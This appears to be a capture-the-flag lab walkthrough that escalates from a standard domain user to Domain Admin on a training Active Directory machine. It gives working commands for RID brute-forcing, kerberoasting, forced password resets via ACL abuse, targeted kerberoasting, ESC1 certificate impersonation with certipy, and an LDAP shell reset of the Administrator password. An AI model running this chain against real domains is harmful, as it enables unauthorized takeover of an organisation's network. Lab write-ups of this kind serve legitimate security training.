HackSmarter Arasaka Walkthrough

Scenario :

You are a member of the Hack Smarter Red Team. This penetration test will operate under an assumed breach scenario, starting with valid credentials for a standard domain user, faraday. The primary goal is to simulate a realistic attack, identifying and exploiting vulnerabilities to escalate privileges from a standard user to a Domain Administrator.

Solution :

First thing first , we start by adding the hostname as well as the Domain name to our /etc/hosts file .

Then we run our nmap scan :

We see Kerberos , LDAP , DNS as well which confirms this is the DC . since this is an AD machine i like to follow this quick checklist from my methodology :

Scan All TCP Ports : Check The useful note Down for more info .
Check ldap , rpc , smb with anonymous access . Check for Public Shares .
Find Usernames : Find usernames in Web Site and generate a Username List maybe . if you get access , Look for usernames using netexec , –rid-brute , –users and enumdomuser with RPC client .
Check usernames found with kerbrute .
Search for ASREP Roastable Users .
Once we have valid Creds : Check Kerberoastable users + Spray the password on all users .
Try to authenticate using every protocol .
Enumerate shares with those Users found . Use netexec to download .
Check Certipy for Vulnerable Templates if there is an ADCS in place .
If we get a Shell , try privesc , dump all Hashes using netexec or locally and store into a file .
If we can’t privesc , we can move to Blood Hound .

We’re already given a set of credentials to start with : -u ‘faraday’ -p ‘hacksmarter123’ . Let’s first generate a list of usernames , test for Both ASREPROASTING as well as Kerberoasting .

nxc smb $target -u 'faraday' -p 'hacksmarter123' --rid-brute  | grep -i 'sidtypeuser' | awk '{print$6}' | cut -d '\' -f 2 | tee users.txt 

No users were vulnerable to ASREPROASTING , let’s check for kerberoastable users :

Perfect , we found one now let’s try and crack the Hash :

We see that for now our user doesn’t have Admin rights on the machine via smb , checking the Shares we only find default ones (if we don’t find anything at all we might go back to enumerate them ) , checked for winrm access but this user doesn’t have such permissions .

This is where i decided to run Bloodhound , just to get a better view of how the domain is structured , what ACL exist and if our user has any interesting permissions over other users or groups that we can abuse , here are the commands to setup Bloodhound , for the ingestor i used netexec .

Now if we check the Outbound Object control , we find that our user has Generic All over the user Yorinobu , Looking at Bloodhound we see that we can abuse this by Forcing the change of that user’s passsword , for this i will use net rpc .

net rpc password "YORINOBU" "weak123@" -U "hacksmarter.local"/"alt.svc"%"babygirl1" -S "DC01.hacksmarter.local"

Perfect , Yorinobu has WinRM access to the machine but before logging in, let’s first check BloodHound to see what ACLs our user has and identify any interesting attack paths.

We do have Generic Write over the user Soulkiller.SVC , we can abuse this by setting up an SPN for this user , and attempting a kerberoast attack on that user , this is what’s called a Targeted Kerberoast attack , for this we will use a specific tool , here are links and commands :

git clone https://github.com/ShutdownRepo/targetedKerberoast.git 
cd targetedKerberoast.git
python3 targetedKerberoast.py -v -d 'hacksmarter.local' -u 'YORINOBU' -p 'weak123@'

Now let’s try to crack it using John :

Perfect , now from Bloodhound we can see that this user is part of the CA group , this is always worth investigating since CA group members often have elevated privileges over certificate templates, making it a good reason to run Certipy and check for ESC vulnerabilities.

Now we just run certipy with the new creds found .

Luckily for us , we have an ESC1 .

Now there are many resources that serve as guides to exploit the ESC vulnerabilities but for this one i will use the Certipy Wiki .

https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation

To briefly explain ESC1 — this vulnerability occurs when a certificate template allows the requester to specify an arbitrary Subject Alternative Name (SAN), meaning we can request a certificate on behalf of any user, including a Domain Admin, without knowing their credentials. We abuse this by requesting a certificate impersonating the Administrator, then using that certificate to request a TGT via PKINIT, which gives us the NT hash.

Steps to abuse ESC1

==> We frist need the SID of the  Administrator :
certipy-ad  account -u 'Soulkiller.svc' -p 'MYpassword123#' -dc-ip $target -user 'administrator' read

==> Now we request the Cetificate :
certipy-ad req \ 
    -u 'Soulkiller.svc@hacksmarter.local' -p 'MYpassword123#' \
    -dc-ip $target -target 'DC01.hacksmarter.local' \
    -ca 'hacksmarter-DC01-CA' -template 'AI_Takeover' \
    -upn 'administrator@hacksmarter.local' -sid 'S-1-5-21-3154413470-3340737026-2748725799-500'

==> Finally we request the TGT :
certipy-ad auth -pfx 'administrator.pfx' -dc-ip $target 

Now in my case i was able to generate the certificate , but when i request a TGT , since the Administrator password is expired , we can’t request a TGT for him .

To work around this, we can request an LDAP shell using the Administrator certificate. Since the certificate is enough to authenticate over LDAP, this gives us an interactive shell where we can reset the Administrator password to anything we want, bypassing the expiry issue entirely.

certipy-ad auth -pfx 'administrator.pfx' -dc-ip $target -ldap-shell

==> Once inside the Shell :
change_password administrator NewPassword123!

Perfect , just like that we are able to change the Domain Admin password , now just login via evil-winrm and get the Flag .

That was all for this Lab , see you in the next one :)